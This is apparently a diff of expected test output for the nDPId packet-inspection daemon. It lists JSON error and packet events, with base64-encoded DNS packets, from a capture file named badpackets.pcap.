failed","datalink":1,"threshold_n":3,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1495451779762059,"packet_id":77,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":252,"global_ts_usec":1495451779762059} 00664{"packet_event_id":1,"packet_event_name":"packet","packet_id":77,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":286,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":286,"pkt_l4_len":0,"thread_ts_usec":1495451029466717,"pkt":"xDRrta3IeLr5aHlnCABFAAXcB3MgADsR6J3HK4U1zLpQ5QA1x0sGxG739qGEEAABAAIABgANA3d3dwVpY2FubgNvcmcAAAEAAcAMAAUAAQAADhAACgN3d3cDdmlwwBDADAAuAAEAAA4QAKAABQcDAAAOEFkvMblZE0c+sGYFaWNhbm4Db3JnAFcOXWiLmAn+7RhE3TKRAZ5C+YCLPXSCXHhs6mLxoYLFSB9OmyFE9HQ90+HWIdUDemeRreC546O8dauCK16auNeVpMGVWBmAVkdmYo\/jYS\/f0rb0ZmripWbPcu3lWPDh7GnpYHF2BQ+z6kikiq9qTkmjhshwCrs5yNXSFD+OutJN\/jecwC8AAgABAAAOEAALBGd0bTEDbA=="} -00210{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":78,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":1129,"global_ts_usec":1495451795488014} +00310{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1495451795488014,"packet_id":78,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":1129,"global_ts_usec":1495451795488014} 01831{"packet_event_id":1,"packet_event_name":"packet","packet_id":78,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":1163,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":1163,"pkt_l4_len":0,"thread_ts_usec":1495451029466717,"pkt":"xDRrta3IeLr5aHlnCABFAAXcnoIgADsRANkX04VDzLpQ5QA1ZoEP+cmJ9tyEAAABACEAAAAdBF9ub3MEX3RjcAdub3MtYXZnAmN6AAAhAAHADAAhAAEAAAcIAB0AZAAKAbsKZmUtc2VsZjAwNwdub3MtYXZnAmN6AMAMACEAAQAABwgAHQBkAAoBuwpmZS1zZWxmMDAyB25vcy1hdmcCY3oAwAwAIQABAAAHCAAcAGQACgBQCWZlLXByZzAwNAdub3MtYXZnAmN6AMAMACEAAQAABwgAHABkAAoBuwlmZS1wcmcwMDgHbm9zLWF2ZwJjegDADAAhAAEAAAcIAB0AZAAKAFAKZmUtc2VsZjAwNwdub3MtYXZnAmN6AMAMACEAAQAABwgAHQBkAAoAUApmZS1zZWxmMDAyB25vcy1hdmcCY3oAwAwAIQABAAAHCAAdAGQACgG7CmZlLXNlbGYwMDYHbm9zLWF2ZwJjegDADAAhAAEAAAcIABwAZAAKAbsJZmUtcHJnMDAzB25vcy1hdmcCY3oAwAwAIQABAAAHCAAcAGQACgBQCWZlLXByZzAwNgdub3MtYXZnAmN6AMAMACEAAQAABwgAHABkAAoAUAlmZS1wcmcwMDEHbm9zLWF2ZwJjegDADAAhAAEAAAcIAB0AZAAKAFAKZmUtc2VsZjAwMwdub3MtYXZnAmN6AMAMACEAAQAABwgAHQBkAAoAUApmZS1zZWxmMDA4B25vcy1hdmcCY3oAwAwAIQABAAAHCAAcAGQACgG7CWZlLXByZzAwNwdub3MtYXZnAmN6AMAMACEAAQAABwgAHABkAAoAUAlmZS1wcmcwMDIHbm9zLWF2ZwJjegDADAAhAAEAAAcIABwAZAAKAFAJZmUtcHJnMDAzB25vcy1hdmcCY3oAwAwAIQABAAAHCAAdAGQACgG7CmZlLXNlbGYwMDgHbm9zLWF2ZwJjegDADAAhAAEAAAcIAB0AZAAKAbsKZmUtc2VsZjAwNAdub3MtYXZnAmN6AMAMACEAAQAABwgAHABkAAoBuwlmZS1wcmcwMDUHbm9zLWF2ZwJjegDADAAhAAEAAAcIABwAZAAKAFAJZmUtcHJnMDA3B25vcy1hdmcCY3oAwAwAIQABAAAHCAAdAGQACgG7CmZlLXNlbGYwMDEHbm9zLWF2ZwJjegDADAAhAAEAAAcIABwAZAAKAFAJZmUtcHJnMDA1B25vcy1hdmcCY3oAwAwAIQABAAAHCAAcAGQACgBQCWZlLXByZzAwOAdub3MtYXZnAmN6AMAMACEAAQAABwgAHQBkAAoBuwpmZS1zZWxmMDAzB25vcy1hdmcCY3oAwAwAIQABAAAHCAAdAGQACgBQCmZlLXNlbGYwMDYHbm9zLWF2ZwJjegDADAAhAAEAAAcIAB0AZAAKAbsKZmUtc2VsZjAwNQdub3MtYXZnAmN6AMAMACEAAQAABwgAHABkAAoBuwlmZS1wcmcwMDQHbm9zLWF2ZwJjegDADAAhAAEAAAcIAB0AZAAKAFAKZmUtc2VsZjAwNAc="} -00209{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":79,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":675,"global_ts_usec":1495451801867184} +00309{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":2,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1495451801867184,"packet_id":79,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":675,"global_ts_usec":1495451801867184} 01232{"packet_event_id":1,"packet_event_name":"packet","packet_id":79,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":709,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":709,"pkt_l4_len":0,"thread_ts_usec":1495451029466717,"pkt":"xDRrta3IeLr5aHlnCABFAAXcVUIgADoR311APsiTzLpQ5QA1HC4OMzJ8VlCEEAABAAIABgATA25zMgNucmMDZ292AAAcAAHADAAcAAEAAA4QABAgAUnw0GQABhAAAAAAAAGHwAwALgABAAAOEAEbABwHAwAADhBZlIDRWR3Z0YaKA25yYwNnb3YAPWJVgdJKgVrTRsYmmdfgVzqqFqEjtUkbPsBTAyhBqcDqUhyiJ9lBKi0APTMHaoRlm9hKhCaxBf4OosrfcZZZslLTdHCsdWT3HBqF8quhdYgBFhCMYj2GltCBFdXUFuG\/ZMZe\/CYWmCUJwAYCF1Nrid6tA42V3+7Xl7GskBZncS2WWlSxB29bNO5qp\/hzNCvZSu+2CoR2pxntdEHpFyHTMEFW1GIMYaBIBeKmZ9Doz3BzKpSAQQ+2gzTU0pwjmlklQze5+O\/T87VbIrIG0NI6rOWvlrdMZVPfgmbDRUgBonXYW7ys3J4xP6AACqxAfp0yxUWCfy9QuEQQgB+HEB0bVMBXAAIAAQAADhAAAsAMwFcAAgABAAAOEAAGA25zM8BXwFcAAgABAAAOEAAVB2Ruc3NlYzcHZGF0YW10bgNjb20AwFcAAgABAAAOEAALCGRuc3NlYzExwZTAVwACAAEAAA4QAAYDbnMxwFfAVwAuAAEAAA4QARsAAgcCAAAOEFmUgNFZHdnRhooDbnJjA2dvdgCZi7bFn+nZ2P6WVw6o+kkwQuaKLgQuorJ5umHdHNd9400r4gzeBn33Ed0Zu7gD64lr2vhaLbxzLduR1aVAh1X4VlSh2jIQFWHIeoJ8Onasxl0l5tBD7VY1PneeZ1c40Al01eURgN\/WP7woAAMGLHDFWcaVfxALKzEXvlThyjffaO1k\/60LDVhVBDOZ6qeLxCdDVAfYZWLOALT5G71UUp\/mfWeY+zuZZrL9Mg=="} -00209{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":80,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":276,"global_ts_usec":1495451802317438} +00309{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":3,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1495451802317438,"packet_id":80,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":276,"global_ts_usec":1495451802317438} 00695{"packet_event_id":1,"packet_event_name":"packet","packet_id":80,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":310,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":310,"pkt_l4_len":0,"thread_ts_usec":1495451029466717,"pkt":"xDRrta3IeLr5aHlnCABFAAXc7j0gADgRdoqiljgTzLpQ5QA13WQG3OQmOZmEAAABAAYABgABDXN0YXRpYy1hc3NldHMDdG9wB2NvbWNhc3QDbmV0AAAwAAHADAAwAAEAAAA8AIgBAAMFAwEAAdNI7Jg7FgzKcoFbbTVFnNS103uNlzSi57w6MSU8g4N7BY45c8wRU0sUX4wCfS5mnvFDJOVeri9\/brOPAihImJbUq1qtU1hWYhriE+Q5okjx68WWhd44ZtMny6bsYRvUiusoqWjg23bXi9ii\/7fg+pccZPnCpi15g6KH4Pi07RLdwAwAMAABAAAAPAEIAQEDBQMBAAHH50NT4xwBENYYIASJ2mD3BG9QGEiNhcrE595erpAhJx7YsU81LP9gTvm6xTLb7N7F1r2ajg=="} -00210{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":81,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":1178,"global_ts_usec":1495451817304087} +00310{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1495451817304087,"packet_id":81,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":1178,"global_ts_usec":1495451817304087} 01907{"packet_event_id":1,"packet_event_name":"packet","packet_id":81,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":1212,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":1212,"pkt_l4_len":0,"thread_ts_usec":1495451029466717,"pkt":"xDRrta3IeLr5aHlnCABFAAXcsBogADIR1B2hNyACzLpQ5QA1FhYKYhxxeiOEEAABAAIABAAND2F2aWF0aW9ud2VhdGhlcgNnb3YAAAEAAcAMAAEAAQAAAHgABIxaZc\/ADAAuAAEAAAB4AScAAQUCAAAAeFkriyJZIlCiJtkPYXZpYXRpb253ZWF0aGVyA2dvdgBcAnaQGheMvunF5C4cR5MJ72dSM8drk3RcE\/+nxnzfOogtDZmIWC2uUpk1r8xGZG2a2jRIA\/aj7zKkRbvNWBJ7qmI7yE\/unpmntn5Dyz3Um2RQBCjsXFWyfJgY5adyFQrx82AJTn0XIJJWlgv2g8gLH5cB5vq1Yx2QwIizFaT84HOR9Ro7mx0vPzffSQYtz10RZTKVLepM1R9WCwQoAlCmj1FX3PJSAVW1ysoAcCz8VNw8RQVeI7UOQsrNyeoeQU4fT9ZJVxaQxHfWRAhaVBdW1NMrgGV8IGluYRAdA\/hJk+MHJtjXbnaSeicSZRZLPiWIrQ+9vEs51K9tviWP1U47wFMAAgABAAAAeAAMBG5zLWUEbm9hYcBjwFMAAgABAAAAeAAIBW5zLW13wXnAUwACAAEAAAB4AAgFbnMtbnfBecBTAC4AAQAAAHgBJwACBQIAAAB4WSuLIlkiUKIm2Q9hdmlhdGlvbndlYXRoZXIDZ292ACem07do6v1NXUbeeSFCIj1ItSvoyoZ\/MkEVoL5rYeAY9tnwbNm\/RpXbQs3WZA84dHc8qApmpHZjNOzbQez3KZG7OK1f97Akn7bH1Ky7MKcrTPKH1PCPR0y4c94s6MFoH7fD6SfpHkqVyFkaspk\/OJpadSYLEQw32h1fGec9Via\/3fvcfA9UaUVW48GZIkYFNWZU\/dMHVDul0koiW1RkbrGjSj9jrN8M5OzzGNtQWIjEdvi5TKW5kPQt9XYqkeohSO6NHXOBkElsykELYz0FoRto8wvtZYGKZxoLfRlDES0YDpe+inWG1xWUXgvmym\/DRCrMlOOt9xEshGof6J1Kr9DBdAABAAEAAVGAAASMWiHtwXQAHAABAAFRgAAQJhAAIIAAjAAAAAAAAAACN8GMAAEAAQABUYAABIysEe3BjAAcAAEAAVGAABAmEAAgiACMAAAAAAAAAAI3waAAAQABAAFRgAAEoTcgAsGgABwAAQABUYAAECYQACCMAIwAAAAAAAAAAALBdAAuAAEAAVGAARwAAQUDAAFRgFkri31ZIlD9PnMEbm9hYQNnb3YAHTxu3oTuiFuFiCLpTl\/MK89BN9JBGjfKVUZAF3gZCKhMwx34GFStLHWeXnyc0jpz6oB3UKoWYWqIzl5uLmkTVdATO05wGhRkXmoRFvqHJQ49RQ+pBTNvjvfsZjt4sxWFaBX6dcM71YC5bIV281hFIsnrSJ79QSihSBHieSy9t5YTGlF5LCJijNEWEHJYxDID1Mza+tXKdNXJWHbkQhQwRPJKGX91jqgFPlz4hmfje77PrtKaUJ8h5eApMH+gaNXsNFvzV3nB+6kGVXv2VWVXVPXI3XzMFa8CKHbYrFGd7LJ4f5PFB725JCBxTQ4KeEOuBE0WXVqE9VoK1uYoB4PAK8F0AC4AAQABUYAB"} -00209{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":82,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":240,"global_ts_usec":1495451840165795} +00309{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1495451840165795,"packet_id":82,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":240,"global_ts_usec":1495451840165795} 00647{"packet_event_id":1,"packet_event_name":"packet","packet_id":82,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":274,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":274,"pkt_l4_len":0,"thread_ts_usec":1495451029466717,"pkt":"xDRrta3IeLr5aHlnCABFAAXcQSkgAOcRefuDTlH+zLpQ5QA1iN8GuEyAW62FkwABAAAADAABCkhJMDFXRUYwMDEDZXRuA2RsYQNtaWwAAAEAAcAbAAYAAQAAAycAMAhlYWdsZWliMQJhZMAbC3JhbmR5LnNtaXRowBt3sikrAAAqMAAABDgACTqAAAADhMAbAC4AAQAAAycAmwAGCAIAAAOEWS\/o5lkiq9Y2JANkbGEDbWlsAEPjY6zabVfm9vwk6mSh9m4kj9u7ZDlkxqtiglIZTh\/RONTC0jpNpQmC+rJg1+X5ptcybqG6dncq1KPvSJq3fG1w8VDIG7zJf7f6G9gikY9VMCGmBxLlsKtyxHORaw=="} -00209{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":83,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":290,"global_ts_usec":1495451840209084} +00309{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":2,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1495451840209084,"packet_id":83,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":290,"global_ts_usec":1495451840209084} 00712{"packet_event_id":1,"packet_event_name":"packet","packet_id":83,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":324,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":324,"pkt_l4_len":0,"thread_ts_usec":1495451029466717,"pkt":"xDRrta3IeLr5aHlnCABFAAXcQccgAOcReV2DTlH+zLpQ5QA1iBUG6lPedjOFkwABAAAADAABCkhJMDFXRUYwMDEEbm9zYwNkbGEDbWlsAAABAAHAFwAGAAEAAABZADAIZWFnbGVpYjECYWTAHAtyYW5keS5zbWl0aMAcAAAHZgAAALQAAAASAAk6gAAAA4TAFwAuAAEAAABZAKAABggDAAAAtFkv4yBZIqYQMlUEbm9zYwNkbGEDbWlsAHAi\/\/IpY3Psvud3bXls8gvS7SxTXcJbJ2fO4LqoVAeoWw33Sok4nKe8G5wSzgrj+gHIwqz4AXRl3ZauyfrHZKtplIVp\/qYFFwFvnbKy4VuVxCDuV39nS0bYD6vwMZut5duIQsRD92AJMBuJaLwaFueObOvDDzhSu2qWb8T7Pru6wBcALgABAAAA"} -00209{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":84,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":249,"global_ts_usec":1495451840333990} +00309{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":3,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1495451840333990,"packet_id":84,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":249,"global_ts_usec":1495451840333990} 00660{"packet_event_id":1,"packet_event_name":"packet","packet_id":84,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":283,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":283,"pkt_l4_len":0,"thread_ts_usec":1495451029466717,"pkt":"xDRrta3IeLr5aHlnCABFAAXcQ9AgAOcRd1SDTlH+zLpQ5QA1+V4GwcnHlaqFkwABAAAADAABCkhJMDFXRUYwMDEDb29iA2RsYQNtaWwAAAEAAcAbAAYAAQAAAZUAMAhlYWdsZWliMQJhZMAbC3JhbmR5LnNtaXRowBt3sikrAAAqMAAABDgACTqAAAADhMAbAC4AAQAAAZUAmwAGCAIAAAOEWS\/o5lkiq9Y2JANkbGEDbWlsAEPjY6zabVfm9vwk6mSh9m4kj9u7ZDlkxqtiglIZTh\/RONTC0jpNpQmC+rJg1+X5ptcybqG6dncq1KPvSJq3fG1w8VDIG7zJf7f6G9gikY9VMCGmBxLlsKtyxHORa\/AgRGTYgjUNSA=="} -00209{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":85,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":675,"global_ts_usec":1495451860723807} +00309{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1495451860723807,"packet_id":85,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":675,"global_ts_usec":1495451860723807} 01232{"packet_event_id":1,"packet_event_name":"packet","packet_id":85,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":709,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":709,"pkt_l4_len":0,"thread_ts_usec":1495451029466717,"pkt":"xDRrta3IeLr5aHlnCABFAAXctFYgADoRIiVBMSXFzLpQ5QA1N2wOM3VnSZ6EEAABAAIABgATA25zMQNucmMDZ292AAAcAAHADAAcAAEAAA4QABAgAQRwAAEAeiAAAAAAAACXwAwALgABAAAOEAEbABwHAwAADhBZlIDRWR3Z0YaKA25yYwNnb3YALVciLeV6\/9PVH3ix0oDMwPVXP+IuKi7iilwN8AXuICaEixRjMcL3k6CimR5Qqz2Ycw6GKR7q0Ru6zaeR+QYAjDqrD+MMW8dbCcINrpqJWjnqBRalN\/yYo\/yvsBa2wZPK3alx2x5VnRHoD2Js8UfeJJoW0zLMCnQkcnHnI8zIxKzPAlhcVwmcU+2j33B8sM29LmFlzJzazhfNwdxdRvaTNbUEhTzhlpB7woguGh3UcEHOLFrxazn6WmkxImFq2NBaB\/T0eDIozLqDuE+altkXto3Lyhd11i49paFgy0Mhg2C0ZQoPj1+cSeqFyHfhmq920VlYzrf1hk07KsH5DFRWS8BXAAIAAQAADhAAFghkbnNzZWMxMQdkYXRhbXRuA2NvbQDAVwACAAEAAA4QAAYDbnMzwFfAVwACAAEAAA4QAALADMBXAAIAAQAADhAACgdkbnNzZWM3wXXAVwACAAEAAA4QAAYDbnMywFfAVwAuAAEAAA4QARsAAgcCAAAOEFmUgNFZHdnRhooDbnJjA2dvdgCZi7bFn+nZ2P6WVw6o+kkwQuaKLgQuorJ5umHdHNd9400r4gzeBn33Ed0Zu7gD64lr2vhaLbxzLduR1aVAh1X4VlSh2jIQFWHIeoJ8Onasxl0l5tBD7VY1PneeZ1c40Al01eURgN\/WP7woAAMGLHDFWcaVfxALKzEXvlThyjffaO1k\/60LDVhVBDOZ6qeLxCdDVAfYZWLOALT5G71UUp\/mfWeY+zuZZrL9Mg=="} -00209{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":86,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":270,"global_ts_usec":1495451867062384} +00309{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":2,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1495451867062384,"packet_id":86,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":270,"global_ts_usec":1495451867062384} 00690{"packet_event_id":1,"packet_event_name":"packet","packet_id":86,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":304,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":304,"pkt_l4_len":0,"thread_ts_usec":1495451029466717,"pkt":"xDRrta3IeLr5aHlnCABFAAXcqqsgAOcREHmDTlH+zLpQ5QA1TnkG1twua62FkwABAAAADAABClJDMDFXRUYwMDEEbmVtbwNkbGEDbWlsAAABAAHAFwAGAAEAAAA8ADAIZWFnbGVpYjECYWTAHAtyYW5keS5zbWl0aMAcd9p7lQAAKjAAAAQ4ABJ1AAAAA4TAFwAuAAEAAAA8AKAABggDAAAAPFkvM2hZIfZYHRkEbmVtbwNkbGEDbWlsAB1eP48NXB48YC39LxAk\/Khj2mVEQ6aS5HOSznEHbJsfSIIptRD6BtLuXwGHekuWL8Z8c4kWh5ITHm730bhtaFCQHR4MBMAUg\/QYfZB\/3QkezK+jd+kE5nVF\/tAkTs15nBpCsT3XFv1DW\/UqWuIhDZwgTv+++Q=="} -00209{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":87,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":169,"global_ts_usec":1495451874121400} +00309{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":3,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1495451874121400,"packet_id":87,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":169,"global_ts_usec":1495451874121400} 00552{"packet_event_id":1,"packet_event_name":"packet","packet_id":87,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":203,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":203,"pkt_l4_len":0,"thread_ts_usec":1495451029466717,"pkt":"xDRrta3IeLr5aHlnCABFAAXcE+8gADUR5p1N8Pn0zLpQ5QA1XvoGcR\/WhA+EEAABAAIABQAHA25zMQNjc2MCbHQAAAEAAcAMAAEAAQABUYAABE3w+fTADAAuAAEAAVGAARoAAQcDAAFRgFkvGkZZB4jkr\/cDY3NjAmx0ALbKVVGDcRZDqk1lyGdWsP5IQ26mLHrrMMz2pPyson+cx8+CsnAw8\/PhfvXbGxejQaIrCYXN3lCaimZi4Ns9eAyNg0i42MNM14BM77qxS7I="} -00209{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":88,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":231,"global_ts_usec":1495451891093884} +00309{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1495451891093884,"packet_id":88,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":231,"global_ts_usec":1495451891093884} 00636{"packet_event_id":1,"packet_event_name":"packet","packet_id":88,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":265,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":265,"pkt_l4_len":0,"thread_ts_usec":1495451029466717,"pkt":"xDRrta3IeLr5aHlnCABFAAXcxOggAOQR3V7OJiMDzLpQ5QA1oocGr2AqSlqFkwABAAAADAABClBIMDFXRUYwMDECYWQDZGxhA21pbAAAAQABwBoABgABAAACAgAtCGVhZ2xlaWIxwBcLcmFuZHkuc21pdGjAGneyKSsAACowAAAEOAAJOoAAAAOEwBoALgABAAACAgCbAAYIAgAAA4RZL+jmWSKr1jYkA2RsYQNtaWwAQ+NjrNptV+b2\/CTqZKH2biSP27tkOWTGq2KCUhlOH9E41MLSOk2lCYL6smDX5fmm1zJuobp2dyrUo+9Imrd8bXDxUMgbvMl\/t\/ob2CKRj1UwIaYHEuWwqw=="} -00210{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":89,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":1155,"global_ts_usec":1495451910684938} +00310{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1495451910684938,"packet_id":89,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":1155,"global_ts_usec":1495451910684938} 01886{"packet_event_id":1,"packet_event_name":"packet","packet_id":89,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":1189,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":1189,"pkt_l4_len":0,"thread_ts_usec":1495451029466717,"pkt":"xDRrta3IeLr5aHlnCABFAAXcW3YgADURSGKMrBHtzLpQ5QA1nlwKS15OQ2CEEAABAAIABAANDmNhbWVvY2hlbWljYWxzBG5vYWEDZ292AAABAAHADAABAAEAAVGAAAShN0EOwAwALgABAAFRgAEcAAEFAwABUYBZK4t9WSJQ\/T5zBG5vYWEDZ292AIaf94KEuv9ZJnwf0eecIweTnGhU9b8l62tJ68k6dYKJPMmWgU+FCdyf\/QzA4d7evU\/WdY7C1qnmSAKUF\/jv82PtKEXWR9WzExnNSIkYyQ5Ek5HmxOvXRyAbUWYpnmzE31nJFS1DIaj6bHFKKyXa7kbE2lCLrY7Yw5mk7cXQ4OLgm8h\/Rf8PZUuRTxVYvWYo4+TVze1zHc8FD\/ypXkA55QgQpzIh2fdyiGaKmMRm4vEgVKR9qcV84hn2T6W953fnxyCiEAhN7\/HrL8+6Sed3bKvypaRqQ6VyWlurn4p4PS768LrGaurHjeTDHLHyOhT+cpJoI83IpDVd3ZFZXfga1z\/AVwACAAEAAVGAAAgFbnMtbnfAV8BXAAIAAQABUYAACAVucy1td8BXwFcAAgABAAFRgAAHBG5zLWXAV8BXAC4AAQABUYABHAACBQIAAVGAWSuLfVkiUP0+cwRub2FhA2dvdgB\/\/xDOV8RlACc0tJNxS+YKsLSQOBQbk6NLsQZG3YDTjO3iKsh7IcLqiw6uOc7SaLs86m+f\/kMHQskW6EQOmEHDMnbqN9IQMGQT4wsBbRrQmwjtM3XaVIfw2QRYEj4dnRSam\/XPSboR6M9\/hOGPVESZ\/uQ6WqFzbJ5fPUcerIlG\/kYoZuwvlZN9eWpmI2uvZVEJoNzzXHVFVxe+gyzQ2fX9CfzbU64wrazKsV4840AxDn9S8jSgjT7wrA1fAbUY1N1Z18MDcPXwCsgNM45SCTA3GR4LZG5q0wfZhRsvLTMW6nxaQfuphvLWLR4kFiw6usfYhcbxye3Gh4WdZwsuqUy1wZUAAQABAAFRgAAEjFoh7cGVABwAAQABUYAAECYQACCAAIwAAAAAAAAAAjfBgQABAAEAAVGAAASMrBHtwYEAHAABAAFRgAAQJhAAIIgAjAAAAAAAAAACN8FtAAEAAQABUYAABKE3IALBbQAcAAEAAVGAABAmEAAgjACMAAAAAAAAAAACwZUALgABAAFRgAEcAAEFAwABUYBZK4t9WSJQ\/T5zBG5vYWEDZ292AB08bt6E7ohbhYgi6U5fzCvPQTfSQRo3ylVGQBd4GQioTMMd+BhUrSx1nl58nNI6c+qAd1CqFmFqiM5ebi5pE1XQEztOcBoUZF5qERb6hyUOPUUPqQUzb4737GY7eLMVhWgV+nXDO9WAuWyFdvNYRSLJ60ie\/UEooUgR4nksvbeWExpReSwiYozRFhByWMQyA9TM2vrVynTVyVh25EIUMETyShl\/dY6oBT5c+IZn43u+z67SmlCfIeXgKTB\/oGjV7DRb81d5wfupBlV79lVlV1T1yN18zBWvAih22KxRneyyeH+TxQe9uSQgcU0OCnhDrgRNFl1ahPVaCtbmKAeDwCvBlQAuAAEAAVGAAQ=="} -00209{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":90,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":271,"global_ts_usec":1495451913554506} +00309{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":2,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1495451913554506,"packet_id":90,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":271,"global_ts_usec":1495451913554506} 